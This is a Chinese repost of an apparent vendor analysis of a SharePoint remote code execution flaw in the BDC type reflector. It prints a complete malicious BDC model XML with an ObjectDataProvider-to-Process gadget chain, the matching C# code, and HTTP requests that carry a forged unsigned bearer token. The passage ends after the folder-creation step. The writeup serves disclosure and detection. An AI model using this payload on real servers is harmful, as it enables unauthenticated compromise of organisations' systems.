【CVE-2026-63520】MicrosoftSharePoint远程代码执行技术分析

admin
admin
admin
0
文章
0
评论
2026-08-28 05:01:54 网络安全文章 来源：ZONE.CI 全球网 0 阅读模式

文章总结： CVE-2026-63520是影响MicrosoftSharePoint的远程代码执行漏洞，由BDC子系统的DbTypeReflector类未限制.NET类型实例化导致。攻击者可上传恶意BDC模型文件，利用ObjectDataProvider等gadget链执行任意命令。结合身份验证绕过漏洞CVE-2026-55040可实现无需认证的RCE。防御者需关注多种利用路径并加强检测。 综合评分： 82 文章分类： 漏洞分析

【CVE-2026-63520】Microsoft SharePoint 远程代码执行技术分析

原创

骨哥说事 骨哥说事

骨哥说事

2026年8月26日 11:03 上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

| | | — | | 声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |

#

#

防走失：https://gugesay.com/

不想错过任何消息？设置星标↓ ↓ ↓

#

概述

2026年8月11日，Rapid7与微软共同披露了CVE-2026-63520，这是一个影响Microsoft SharePoint的远程代码执行 (RCE) 漏洞。今天我们正式发布对该漏洞的技术分析报告。该分析原定于披露后30天发布，但由于第三方已公布CVE-2026-63520的详细利用信息，我们决定提前发布。

一名经过身份验证的远程攻击者可以利用CVE-2026-63520，在存在漏洞的SharePoint服务器上，以SharePoint站点服务账户的权限执行任意代码。如果将其与此前披露的身份验证绕过漏洞CVE-2026-55040相结合，利用链条最终将演变为针对目标SharePoint服务器的”无需身份验证”的RCE攻击。

对比CVE-2026-63520的两种技术分析，可以看出我们的利用手法是：借助一个Database类型的企业业务系统(LobSystem)和一个基于System.Windows.Data.ObjectDataProvider类的gadget链。而VulnCheck公司的分析，则是利用一个DotNetAssembly类型的企业业务系统(LobSystem)和一个基于LosFormatter的gadget链。防御者在制定针对CVE-2026-63520的检测策略时，应充分考虑这两种不同的利用路径。此外，未来很可能还会出现基于其他gadget链的攻击变种。

分析

本次技术分析基于 SharePoint Server Subscription Edition，具体版本为 16.0.19725.20210。

漏洞存在于 Microsoft SharePoint 的[业务数据连接 (Business Data Connectivity, BDC)]子系统中。其根源是 DbTypeReflector 类存在一个不受限制的 .NET 类型实例化与属性设置能力。该类能够根据 BDC 模型 XML 中的描述，不加任何过滤或安全校验地解析任意的 .NET 程序集限定类型名称。如果攻击者能够上传一个恶意的 .bdcm 模型文件并触发其实体执行，便能实例化全局程序集缓存 (GAC) 中的任意 .NET 类型，在这些类型的实例上设置任意属性，并借助属性 Setter 方法的[副作用]来最终执行任意操作系统命令。

需要指出的是，此领域已有相关研究，对我们本次分析颇有助益。例如，ZDI (Zero Day Initiative) 研究团队曾详细分析过[CVE-2019-1257]，阐述了如何利用 BDC 模型进行不安全的 .NET 类型实例化。

具体来说，漏洞位于 Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector.ResolveDotNetType() 方法中。该方法会对攻击者可控的 TypeDescriptor 元素的 TypeName 属性值，无任何校验地直接调用 Type.GetType()。再结合其父类 DotNetTypeReflector.Instantiate() 方法中的递归实例化与属性设置机制，攻击者得以构造一条能触发任意命令执行的“gadget链”。例如，可以利用 System.Windows.Data.ObjectDataProvider 类的属性 Setter 副作用来调用 Process.Start() (这是一种[众所周知]的 gadget 链构造技术)。

BDC 子系统利用“类型反射器 (type reflectors)”组件，从 BDC 模型 XML 文件中 TypeDescriptor 元素的 TypeName 属性解析出对应的 .NET 类型。对于定义为 Type="Database" 的企业业务系统 (LobSystem)，SharePoint 使用的是 DbTypeReflector 类，该类继承自 DotNetTypeReflector。关键代码如下所示：

// Microsoft.SharePoint.BusinessData.SystemSpecific.Db\DbTypeReflector.cs - 第 167-186 行
public override Type ResolveDotNetType(string abstractTypeName, ILobSystemStruct lobSystemStruct)
{
    if (string.IsNullOrEmpty(abstractTypeName))
    {
        throw new ArgumentNullException("abstractTypeName");
    }
&nbsp; &nbsp;&nbsp;if&nbsp;(abstractTypeName.Length <&nbsp;15)&nbsp;// <-- [1]
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;try
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;Type.GetType(abstractTypeName, throwOnError:&nbsp;true);&nbsp;// <-- [2]
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;catch&nbsp;(ArgumentException)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;ArgumentException(...);
&nbsp; &nbsp; }
}

[1] 处：如果传入的类型名称字符串长度小于 15 个字符 (比如 System.Int32)，则调用基类 DotNetTypeReflector.ResolveDotNetType() 方法进行处理，此方法对可解析的类型有较为严格的限制。

[2] 处：反之，对于长度大于等于 15 个字符的类型名 (比如 System.Diagnostics.Process 或 System.Windows.Data.ObjectDataProvider)，代码会直接调用 Type.GetType() 进行解析。这相当于将攻击者传入的任意程序集限定名不加限制地转换为对应的 Type 对象，为后续恶意实例化打开了大门。

攻击者利用的恶意 BDC 模型 XML 如下,可以看到，文件中定义的业务系统 (LobSystem) 类型为 Database。

<?xml version="1.0" encoding="utf-8"?>
<Model&nbsp;xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"&nbsp;Name="BdcModel">
&nbsp;&nbsp;<AccessControlList>
&nbsp; &nbsp;&nbsp;<AccessControlEntry&nbsp;Principal="NT AUTHORITY\Authenticated Users">
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="Execute"&nbsp;/><Right&nbsp;BdcRight="Edit"&nbsp;/>
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="SelectableInClients"&nbsp;/><Right&nbsp;BdcRight="SetPermissions"&nbsp;/>
&nbsp; &nbsp;&nbsp;</AccessControlEntry>
&nbsp;&nbsp;</AccessControlList>
&nbsp;&nbsp;<LobSystems>
&nbsp; &nbsp;&nbsp;<LobSystem&nbsp;Name="RCE950d65"&nbsp;Type="Database">
&nbsp; &nbsp; &nbsp;&nbsp;<Properties>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="WildcardCharacter"&nbsp;Type="System.String">%</Property>
&nbsp; &nbsp; &nbsp;&nbsp;</Properties>
&nbsp; &nbsp; &nbsp;&nbsp;<AccessControlList>
&nbsp; &nbsp;&nbsp;<AccessControlEntry&nbsp;Principal="NT AUTHORITY\Authenticated Users">
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="Execute"&nbsp;/><Right&nbsp;BdcRight="Edit"&nbsp;/>
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="SelectableInClients"&nbsp;/><Right&nbsp;BdcRight="SetPermissions"&nbsp;/>
&nbsp; &nbsp;&nbsp;</AccessControlEntry>
&nbsp;&nbsp;</AccessControlList>
&nbsp; &nbsp; &nbsp;&nbsp;<LobSystemInstances>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<LobSystemInstance&nbsp;Name="RCEI950d65">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Properties>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="DatabaseAccessProvider"&nbsp;Type="System.String">SqlServer</Property>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="RdbConnection Data Source"&nbsp;Type="System.String">localhost</Property>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="RdbConnection Initial Catalog"&nbsp;Type="System.String">master</Property>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="RdbConnection Integrated Security"&nbsp;Type="System.String">True</Property>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Properties>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</LobSystemInstance>
&nbsp; &nbsp; &nbsp;&nbsp;</LobSystemInstances>
&nbsp; &nbsp; &nbsp;&nbsp;<Entities>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Entity&nbsp;Name="RCEE950d65"&nbsp;Namespace="GadgetRCE"&nbsp;EstimatedInstanceCount="1"&nbsp;Version="1.0.0.0">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<AccessControlList>
&nbsp; &nbsp;&nbsp;<AccessControlEntry&nbsp;Principal="NT AUTHORITY\Authenticated Users">
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="Execute"&nbsp;/><Right&nbsp;BdcRight="Edit"&nbsp;/>
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="SelectableInClients"&nbsp;/><Right&nbsp;BdcRight="SetPermissions"&nbsp;/>
&nbsp; &nbsp;&nbsp;</AccessControlEntry>
&nbsp;&nbsp;</AccessControlList>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Identifiers>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Identifier&nbsp;Name="id"&nbsp;TypeName="System.Int32"&nbsp;/>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Identifiers>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Methods>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Method&nbsp;Name="Exec">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Properties>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="RdbCommandText"&nbsp;Type="System.String">SELECT 1 AS id, 'x' AS output</Property>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Property&nbsp;Name="RdbCommandType"&nbsp;Type="System.String">Text</Property>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Properties>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<AccessControlList>
&nbsp; &nbsp;&nbsp;<AccessControlEntry&nbsp;Principal="NT AUTHORITY\Authenticated Users">
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="Execute"&nbsp;/><Right&nbsp;BdcRight="Edit"&nbsp;/>
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="SelectableInClients"&nbsp;/><Right&nbsp;BdcRight="SetPermissions"&nbsp;/>
&nbsp; &nbsp;&nbsp;</AccessControlEntry>
&nbsp;&nbsp;</AccessControlList>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Parameters>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Parameter&nbsp;Name="@id"&nbsp;Direction="In">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="id"&nbsp;TypeName="System.Int32"&nbsp;IdentifierName="id"&nbsp;/>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Parameter>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Parameter&nbsp;Name="payload"&nbsp;Direction="In">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="payload"&nbsp;TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"&nbsp;LobName="payload">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="MethodName"&nbsp;TypeName="System.String"&nbsp;LobName="MethodName">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValue&nbsp;MethodInstanceName="RCEF950d65"&nbsp;Type="System.String">Start</DefaultValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="ObjectInstance"&nbsp;TypeName="System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"&nbsp;LobName="ObjectInstance">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="StartInfo"&nbsp;TypeName="System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"&nbsp;LobName="StartInfo">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="UseShellExecute"&nbsp;TypeName="System.Boolean"&nbsp;LobName="UseShellExecute">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValue&nbsp;MethodInstanceName="RCEF950d65"&nbsp;Type="System.Boolean">false</DefaultValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="CreateNoWindow"&nbsp;TypeName="System.Boolean"&nbsp;LobName="CreateNoWindow">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValue&nbsp;MethodInstanceName="RCEF950d65"&nbsp;Type="System.Boolean">true</DefaultValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="FileName"&nbsp;TypeName="System.String"&nbsp;LobName="FileName">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValue&nbsp;MethodInstanceName="RCEF950d65"&nbsp;Type="System.String">notepad.exe</DefaultValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="Arguments"&nbsp;TypeName="System.String"&nbsp;LobName="Arguments">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<DefaultValue&nbsp;MethodInstanceName="RCEF950d65"&nbsp;Type="System.String"></DefaultValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</DefaultValues>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Parameter>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<Parameter&nbsp;Name="ExecResult"&nbsp;Direction="Return">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="ExecResult"&nbsp;TypeName="System.Data.IDataReader, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"&nbsp;IsCollection="true"&nbsp;ReadOnly="true">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="ExecResultElement"&nbsp;TypeName="System.Data.IDataRecord, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="id"&nbsp;TypeName="System.Int32"&nbsp;IdentifierName="id"&nbsp;/>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<TypeDescriptor&nbsp;Name="output"&nbsp;TypeName="System.String"&nbsp;/>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptors>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</TypeDescriptor>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Parameter>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Parameters>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<MethodInstances>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<MethodInstance&nbsp;Name="RCEF950d65"&nbsp;Type="SpecificFinder"&nbsp;ReturnParameterName="ExecResult"&nbsp;ReturnTypeDescriptorPath="ExecResult[0]">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<AccessControlList>
&nbsp; &nbsp;&nbsp;<AccessControlEntry&nbsp;Principal="NT AUTHORITY\Authenticated Users">
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="Execute"&nbsp;/><Right&nbsp;BdcRight="Edit"&nbsp;/>
&nbsp; &nbsp; &nbsp;&nbsp;<Right&nbsp;BdcRight="SelectableInClients"&nbsp;/><Right&nbsp;BdcRight="SetPermissions"&nbsp;/>
&nbsp; &nbsp;&nbsp;</AccessControlEntry>
&nbsp;&nbsp;</AccessControlList>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</MethodInstance>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</MethodInstances>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Method>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Methods>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</Entity>
&nbsp; &nbsp; &nbsp;&nbsp;</Entities>
&nbsp; &nbsp;&nbsp;</LobSystem>
&nbsp;&nbsp;</LobSystems>
</Model>

通过上述 XML 可以分析出，我们定义了一个名为 payload 的输入参数 (Direction=“In”)。该参数将引导 SharePoint 实例化一个 System.Windows.Data.ObjectDataProvider 类的对象，并设置其 MethodName 属性为 “Start”，同时将其 ObjectInstance 属性指向一个 System.Diagnostics.Process 类的实例。该 Process 实例的 StartInfo 属性又指向一个 System.Diagnostics.ProcessStartInfo 实例，该实例内定义了要启动的进程路径 (FileName) 等参数。当 ObjectDataProvider 的 ObjectInstance 属性被设定为这个 Process 对象时，就会触发 gadget 链的执行 (下一节的调用堆栈将展现这一过程)。

从逻辑上讲，这段恶意 XML 构造的利用链可以理解为对应的 C# 代码：

System.Windows.Data.ObjectDataProvider odp =&nbsp;new&nbsp;System.Windows.Data.ObjectDataProvider();

odp.MethodName =&nbsp;"Start";

System.Diagnostics.ProcessStartInfo psi =&nbsp;new&nbsp;System.Diagnostics.ProcessStartInfo();

psi.UseShellExecute =&nbsp;false;
psi.CreateNoWindow =&nbsp;true;
psi.FileName =&nbsp;"notepad.exe";
psi.Arguments =&nbsp;"";

System.Diagnostics.Process p =&nbsp;new&nbsp;System.Diagnostics.Process();

p.StartInfo = psi;

odp.ObjectInstance = p;&nbsp;// <--- 在此处触发 RCE

在测试验证过程中，我们倾向于使用 notepad.exe 这类简单的、易于观察的程序。例如，可以使用 Process Explorer 等工具来确认进程是否成功启动，如图 1 所示。我们将 CreateNoWindow 设置为 true，因为 IIS 的工作进程 w3wp.exe 运行在 Session 0 环境下，运行时没有对应用户会话桌面，无法显示图形界面窗口。

图 1：Gadget 链执行 notepad.exe

实战步骤

我们可以通过复现整个攻击流程，展示触发不安全的 .NET 类型实例化所需的 HTTP 请求交互，来直观地演示 RCE 的实际发生过程。请注意，下列 HTTP 请求中所需的 Bearer 授权令牌和 X-RequestDigest 令牌，是利用我们针对身份验证绕过漏洞 CVE-2026-55040 编写的[漏洞利用脚本]生成的。

在实际上传恶意BDC模型文件前，攻击者需要先通过 SharePoint 的 REST API 创建一个名为 BusinessDataMetadataCatalog 的文件夹，用于存储后续的模型文件。向 /_api/web/folders 端点发送的 HTTP POST 请求示例如下：

POST /_api/web/folders HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose
Content-Type: application/json;odata=verbose
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 89

{"__metadata": {"type":&nbsp;"SP.Folder"},&nbsp;"ServerRelativeUrl":&nbsp;"BusinessDataMetadataCatalog"}

服务器返回 HTTP 201 状态码，表示文件夹创建成功。

HTTP/1.1 201 Created
